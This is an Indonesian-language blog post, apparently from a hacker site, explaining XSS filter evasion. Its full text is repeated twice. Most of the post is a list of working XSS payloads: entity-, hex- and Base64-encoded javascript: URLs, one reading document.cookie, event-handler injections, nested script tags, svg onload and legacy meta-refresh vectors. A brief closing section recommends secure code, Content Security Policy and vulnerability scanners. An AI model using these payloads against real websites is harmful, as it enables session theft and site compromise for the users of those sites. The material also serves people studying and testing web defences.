XSS Filter Evasion | Tegal1337

Avatar photo

(XSS Filter Evasion) mengacu pada berbagai metode yang digunakan oleh attacker untuk mem-bypass filter XSS (Cross-Site Scripting). Ada banyak cara untuk menginjeksi JavaScript code ke dalam halaman web yang dijalankan oleh klien, dan dengan browser, si attacker juga tidak hanya harus mengeksploitasi kerentanan aplikasi, tapi juga harus menghindari input validation yang dilakukan oleh aplikasi dan server. Pada kesempatan kali ini saya akan membahas bagaimana menghindari penyerangan dan beberapa bypass filter XSS agar nantinya web kita bisa lebih aman.

Apa itu XSS Filter dan Kapan Digunakan?

Sebelum kita membahas lebih jauh mengenai bagaimana menghindari penyerangan dan beberapa bypass filter XSS, mari kita lihat konsep filter XSS. Pada tingkat aplikasi, input validation dilakukan untuk mendeteksi dan mencegah injeksi code. Pemfilteran dapat dilakukan secara lokal di browser atau selama pemrosesan di sisi server.

Umumnya filter input validation code akan mem-filter payload XSS, seperti tag <script>. Pemfilteran reguler expressions (regex) dan code string blacklist. Jika code yang berpotensi berbahaya ditemukan, filter dapat memblokir seluruh halaman atau hanya fragmen code yang mencurigakan.

XSS Filter yang dilakukan browser juga hanya mencakup Reflected XSS, di mana code yang di injeksi oleh si attacker langsung ter-reflect di browser klien. Filter dan auditor tidak diperuntukan untuk menangani upaya serangan XSS di mana kode serangan tidak deksekusi oleh browser, seperti DOM-Based XSS dan Stored XSS.

Bagaimana Attacker bisa mem-bypass XSS Filter ?

XSS Filtering sendiri sudah cukup membuat si attacker kesulitan untuk melakukan serangan, dimana code skrip yang berhasil di inject juga harus melewati filter. Sementara serangan XSS umumnya menargetkan kerentanan aplikasi dan missconfigurations.

Contoh teknik Bypass Filter XSS

    Character Encoding Tricks

Untuk mem-bypass filter yang mengandalkan teks scanning untuk string yang mencurigakan, si attacker bisa me-encode sejumlah karakter dalam berbagai cara:

Beberapa atau semua karakter dapat ditulis sebagai HTML entities dengan kode ASCII untuk mem-bypass filter yang langsung mencari string seperti javascript:

<a href="&#106;avascript:alert('Successful XSS')">Click this link!</a>

Menggunakan Hexadecimal encoding untuk mem-bypass filter HTML entities

<a href="&#x6A;avascript:alert(document.cookie)">Click this link!</a>

Obfuscate menggunakan Base64 encoding

<body onload="eval(atob('YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))">

Semua karakter yang di encoding

<a href="&#x6A;avascript&#0000058&#0000097lert('Successful XSS')">Click this link!</a>

Meng-hide XSS Payload

<iframe src=# onmouseover=alert(String.fromCharCode(88,83,83))></iframe>

   
Whitespace Embedding

Karakter tab diabaikan ketika mem-parsing kode, (not support for modern browser):

<img src="java    script:al ert('Successful XSS')">

Tab saat di encode

<img src="java&#x09;script:al&#x09;ert('Successful XSS')">

Sama seperti tab, newline (garis baru) biasanya di abaikan

<a href="jav&#x0A;a
script:&#x0A;ale&#x0Drt;('Successful
XSS')">Visit google.com</a>

    
Tag manipulation

Jika filter hanya meng-scan kode satu kali dan menghapus tag tertentu, seperti <script>, kita bisa manipulasi dengan menuliskan ulang kodenya

<scr<script>ipt>document.write("Successful XSS")</scr<script>ipt>

Menggunakan slash tanpa whitespace diseluruh string

<img/src="funny.jpg"onload=&#x6A;avascript:eval(alert('Successful&#32XSS'))>

contoh lain tanpa whitespace (menggunakan tag svg)

<svg/onload=alert('XSS')>

Legacy Methods

Terkahir, berikut adalah beberapa vektor yang ditolak oleh sebagian besar browser modern:

Background image manipulation

<body background="javascript:alert('Successful XSS')">

atau bisa menggunakan style

<div style="background-image:url(javascript:alert('Successful XSS'))">

Image tanpa tag <img>

<input type="image" src="javascript:alert('Successful XSS')">

Redirect menggunakan meta tag

<meta http-equiv="refresh" content="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

Bagaimana cara mem-protect web dari serangan Cross-Site Scripting ini

Walaupun dengan cara memfilter ratusan cara jelas bukanlah solusi. Filter tidak mencegah serangan XSS hanya meminimalisir suksesnya serangan.

Dengan menulis secure code yang selalu up to date masalah serangan XSS ini atau bisa menggunakan HTTP Security Header yang sesuai terutama Content Security Policy (CSP) yang dikonfigurasi dengan benar, dan juga kalian bisa mengetest web kalian sendiri menggunakan tool vulnerability scanner.

(Tegal1337)

Total
0
Shares
Leave a Reply

Your email address will not be published. Required fields are marked *

Previous Post

Hacker Iseng Meretas Website Resmi Kepolisian Resor Tegal

Next Post

Tutorial Deface with JS Overlay (JSO)

(XSS Filter Evasion) mengacu pada berbagai metode yang digunakan oleh attacker untuk mem-bypass filter XSS (Cross-Site Scripting). Ada banyak cara untuk menginjeksi JavaScript code ke dalam halaman web yang dijalankan oleh klien, dan dengan browser, si attacker juga tidak hanya harus mengeksploitasi kerentanan aplikasi, tapi juga harus menghindari input validation yang dilakukan oleh aplikasi dan server. Pada kesempatan kali ini saya akan membahas bagaimana menghindari penyerangan dan beberapa bypass filter XSS agar nantinya web kita bisa lebih aman.

Apa itu XSS Filter dan Kapan Digunakan?

Sebelum kita membahas lebih jauh mengenai bagaimana menghindari penyerangan dan beberapa bypass filter XSS, mari kita lihat konsep filter XSS. Pada tingkat aplikasi, input validation dilakukan untuk mendeteksi dan mencegah injeksi code. Pemfilteran dapat dilakukan secara lokal di browser atau selama pemrosesan di sisi server.

Umumnya filter input validation code akan mem-filter payload XSS, seperti tag <script>. Pemfilteran reguler expressions (regex) dan code string blacklist. Jika code yang berpotensi berbahaya ditemukan, filter dapat memblokir seluruh halaman atau hanya fragmen code yang mencurigakan.

XSS Filter yang dilakukan browser juga hanya mencakup Reflected XSS, di mana code yang di injeksi oleh si attacker langsung ter-reflect di browser klien. Filter dan auditor tidak diperuntukan untuk menangani upaya serangan XSS di mana kode serangan tidak deksekusi oleh browser, seperti DOM-Based XSS dan Stored XSS.

Bagaimana Attacker bisa mem-bypass XSS Filter ?

XSS Filtering sendiri sudah cukup membuat si attacker kesulitan untuk melakukan serangan, dimana code skrip yang berhasil di inject juga harus melewati filter. Sementara serangan XSS umumnya menargetkan kerentanan aplikasi dan missconfigurations.

Contoh teknik Bypass Filter XSS

    Character Encoding Tricks

Untuk mem-bypass filter yang mengandalkan teks scanning untuk string yang mencurigakan, si attacker bisa me-encode sejumlah karakter dalam berbagai cara:

Beberapa atau semua karakter dapat ditulis sebagai HTML entities dengan kode ASCII untuk mem-bypass filter yang langsung mencari string seperti javascript:

<a href="&#106;avascript:alert('Successful XSS')">Click this link!</a>

Menggunakan Hexadecimal encoding untuk mem-bypass filter HTML entities

<a href="&#x6A;avascript:alert(document.cookie)">Click this link!</a>

Obfuscate menggunakan Base64 encoding

<body onload="eval(atob('YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))">

Semua karakter yang di encoding

<a href="&#x6A;avascript&#0000058&#0000097lert('Successful XSS')">Click this link!</a>

Meng-hide XSS Payload

<iframe src=# onmouseover=alert(String.fromCharCode(88,83,83))></iframe>

   
Whitespace Embedding

Karakter tab diabaikan ketika mem-parsing kode, (not support for modern browser):

<img src="java    script:al ert('Successful XSS')">

Tab saat di encode

<img src="java&#x09;script:al&#x09;ert('Successful XSS')">

Sama seperti tab, newline (garis baru) biasanya di abaikan

<a href="jav&#x0A;a
script:&#x0A;ale&#x0Drt;('Successful
XSS')">Visit google.com</a>

    
Tag manipulation

Jika filter hanya meng-scan kode satu kali dan menghapus tag tertentu, seperti <script>, kita bisa manipulasi dengan menuliskan ulang kodenya

<scr<script>ipt>document.write("Successful XSS")</scr<script>ipt>

Menggunakan slash tanpa whitespace diseluruh string

<img/src="funny.jpg"onload=&#x6A;avascript:eval(alert('Successful&#32XSS'))>

contoh lain tanpa whitespace (menggunakan tag svg)

<svg/onload=alert('XSS')>

Legacy Methods

Terkahir, berikut adalah beberapa vektor yang ditolak oleh sebagian besar browser modern:

Background image manipulation

<body background="javascript:alert('Successful XSS')">

atau bisa menggunakan style

<div style="background-image:url(javascript:alert('Successful XSS'))">

Image tanpa tag <img>

<input type="image" src="javascript:alert('Successful XSS')">

Redirect menggunakan meta tag

<meta http-equiv="refresh" content="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

Bagaimana cara mem-protect web dari serangan Cross-Site Scripting ini

Walaupun dengan cara memfilter ratusan cara jelas bukanlah solusi. Filter tidak mencegah serangan XSS hanya meminimalisir suksesnya serangan.

Dengan menulis secure code yang selalu up to date masalah serangan XSS ini atau bisa menggunakan HTTP Security Header yang sesuai terutama Content Security Policy (CSP) yang dikonfigurasi dengan benar, dan juga kalian bisa mengetest web kalian sendiri menggunakan tool vulnerability scanner.

(Tegal1337)

Total
0
Shares
Leave a Reply

Your email address will not be published. Required fields are marked *

Previous Post

Hacker Iseng Meretas Website Resmi Kepolisian Resor Tegal

Next Post

Tutorial Deface with JS Overlay (JSO)

Related Posts